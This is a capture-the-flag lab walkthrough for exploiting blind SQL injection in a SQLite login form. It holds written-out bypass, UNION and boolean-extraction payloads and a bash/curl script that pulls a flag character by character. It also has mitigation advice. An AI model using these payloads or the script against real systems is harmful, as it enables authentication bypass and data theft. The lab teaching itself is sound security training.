Avatar

Labs / SQL Injection

  • Daily Challenge
  • Released 30 Jul 2025
The lab needs to be started first.
Need help to start?
Daily Challenge

SQL Injection - Complete Solution Walkthrough

Understanding SQL Injection Vulnerabilities

SQL injection is one of the most critical web application vulnerabilities. This challenge demonstrates a blind SQL injection scenario where you don't see direct database output but can infer information through application behavior and response differences.

Step 1: Initial Reconnaissance

  1. Access the challenge: Navigate to <target-ip>:80 to view the login portal
  2. Analyze the application: The application presents a simple login form with username and password fields
  3. Test basic functionality: Try logging in with common credentials to understand normal application behavior
  4. Examine responses: Notice the different error messages for invalid credentials vs valid usernames with wrong passwords

Step 2: Identifying SQL Injection Points

  1. Test for SQL injection characters: Try entering single quotes, double quotes, and SQL keywords in both username and password fields
  2. Observe error responses: Look for database error messages or unusual application behavior
  3. Test with basic SQL injection payloads:
Username: admin'
Password: anything

Username: admin' OR '1'='1' --
Password: anything

Username: admin' AND 1=(SELECT COUNT(*) FROM users) --
Password: anything
  1. Identify vulnerable parameter: The username field is vulnerable to SQL injection

Step 3: Confirming SQL Injection

  1. Boolean-based confirmation: Test if you can manipulate query logic
# This should return "Welcome admin!":
Username: admin' OR '1'='1' --

# This should return "Invalid username or password":
Username: admin' OR '1'='2' --
  1. Union-based testing: Try to determine the number of columns
Username: admin' UNION SELECT 1,2,3 --
Username: admin' UNION SELECT 1,username,role FROM users --

Step 4: Database Enumeration (SQLite)

  1. Determine database version:
Username: admin' UNION SELECT 1,sqlite_version(),3 --
  1. Enumerate table names using sqlite_master:
# IMPORTANT: Don't use 'admin' for UNION queries since admin exists in DB!
# Use non-existent username for UNION-based enumeration:
Username: xyz' UNION SELECT 1,name,3 FROM sqlite_master WHERE type='table' LIMIT 1 OFFSET 0 --
Username: xyz' UNION SELECT 1,name,3 FROM sqlite_master WHERE type='table' LIMIT 1 OFFSET 1 --

# Boolean-based enumeration (works with any username):
Username: admin' AND (SELECT COUNT(*) FROM sqlite_master WHERE name='secrets')>0 --
Username: admin' AND (SELECT COUNT(*) FROM sqlite_master WHERE name='users')>0 --
  1. Enumerate column names:
Username: admin' UNION SELECT 1,sql,3 FROM sqlite_master WHERE name='secrets' --

# This will show the CREATE TABLE statement revealing column names

Step 5: Data Extraction

  1. Direct flag extraction using UNION:
Username: admin' UNION SELECT 1,flag,3 FROM secrets --
  1. Boolean-based extraction (if UNION doesn't work):
# Extract flag length:
Username: admin' AND (SELECT LENGTH(flag) FROM secrets WHERE id=1)=36 --

# Extract first character:
Username: admin' AND (SELECT SUBSTR(flag,1,1) FROM secrets WHERE id=1)='a' --

# Extract second character:
Username: admin' AND (SELECT SUBSTR(flag,2,1) FROM secrets WHERE id=1)='b' --

# Continue this process for all 36 characters...
  1. Automated extraction script:
#!/bin/bash
flag=""
target="<target-ip>" # Replace with actual target IP/hostname

echo "Starting flag extraction..."
for i in {1..36}; do
found=false
# UUID format: only uses 0-9, a-f, and hyphens
for char in {0..9} {a..f} -; do
response=$(curl -s -X POST \
-d "username=admin' AND (SELECT SUBSTR(flag,$i,1) FROM secrets WHERE id=1)='$char' --&password=test" \
"http://$target/login")

if [[ $response == *"Welcome"* ]]; then
flag+="$char"
echo "Found char $i: $char (Flag so far: $flag)"
found=true
break
fi
done

if [[ $found == false ]]; then
echo "Could not find character $i, stopping"
break
fi
done

echo "Final flag: $flag"

Step 6: Flag Extraction Success

  1. Successful SQL injection exploitation: Using either UNION-based or boolean-based extraction
  2. Flag format: The flag will be in UUID format (e.g., xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx)
  3. Verification: You'll know you've succeeded when you extract a 36-character UUID string from the secrets table
Success! You should now have extracted the flag using SQL injection techniques. The flag is a valid UUID that you can submit to complete the challenge.

Alternative Attack Vectors

  1. Union-based extraction (most effective for SQLite):
Username: admin' UNION SELECT 1,flag,role FROM secrets,users WHERE users.id=1 --
  1. Subquery-based extraction:
Username: admin' OR username=(SELECT flag FROM secrets WHERE id=1) --
  1. Time-based extraction (using computationally expensive operations):
# Use LIKE with wildcards to cause delays on large datasets
Username: admin' AND (SELECT flag FROM secrets WHERE id=1) LIKE '%a%' AND (SELECT COUNT(*) FROM sqlite_master,sqlite_master,sqlite_master) --

Technical Analysis of the Vulnerability

  • Root Cause: Direct concatenation of user input into SQL queries without sanitization
  • Attack Vector: Manipulation of WHERE clause conditions in authentication queries
  • Impact: Complete database access, authentication bypass, and data extraction
  • Query Structure: SELECT * FROM users WHERE username='$input' AND password='$password'
  • No Validation: No input sanitization, parameterized queries, or SQL escaping

Security Implications and Real-World Impact

  • Data Breach: Complete access to all database information including sensitive records
  • Authentication Bypass: Ability to login as any user without knowing passwords
  • Privilege Escalation: Access to administrative functions and data
  • Data Integrity: Potential to modify or delete database records
  • Business Impact: Financial loss, regulatory compliance violations, and reputation damage

Prevention and Mitigation Strategies

  • Parameterized Queries: Use prepared statements with bound parameters
  • Input Validation: Implement strict input validation and sanitization
  • Least Privilege: Database accounts should have minimal necessary permissions
  • WAF Protection: Deploy Web Application Firewalls to detect SQL injection attempts
  • Regular Security Testing: Include SQL injection testing in security assessments
  • Error Handling: Implement proper error handling to avoid information disclosure

Troubleshooting Common Issues

  • UNION queries not showing table names: Don't use existing usernames (like 'admin') for UNION queries. The application will return the real user's data instead of your UNION results. Use non-existent usernames like 'xyz' or 'test'.
  • Boolean injection not working: Make sure you're testing with conditions that produce TRUE/FALSE responses. Test known conditions first to establish baseline behavior.
  • Column count errors: Use ORDER BY or UNION SELECT with different column numbers to determine the exact number of columns in the original query.
  • Data type mismatches: SQLite is flexible with data types, but try using integers (1,2,3) or strings ('a','b','c') if you get type errors.
  • Application filtering responses: Some applications only show the first row of results. Use LIMIT and OFFSET to iterate through multiple rows systematically.
  • Automated script not working: Common issues include wrong character sets (UUIDs only use 0-9, a-f, and hyphens), incorrect URL format (should be http://target/login), and missing error handling (script should check if character was found).

Tools and Testing Methodology

  • SQLMap: Automated SQL injection testing and exploitation tool (supports SQLite)
  • Burp Suite: Professional web application security testing platform
  • OWASP ZAP: Free security testing proxy with SQL injection detection
  • Manual Testing: Custom payloads and scripts for specific attack scenarios
  • SQLite Browser: GUI tool for examining SQLite databases post-exploitation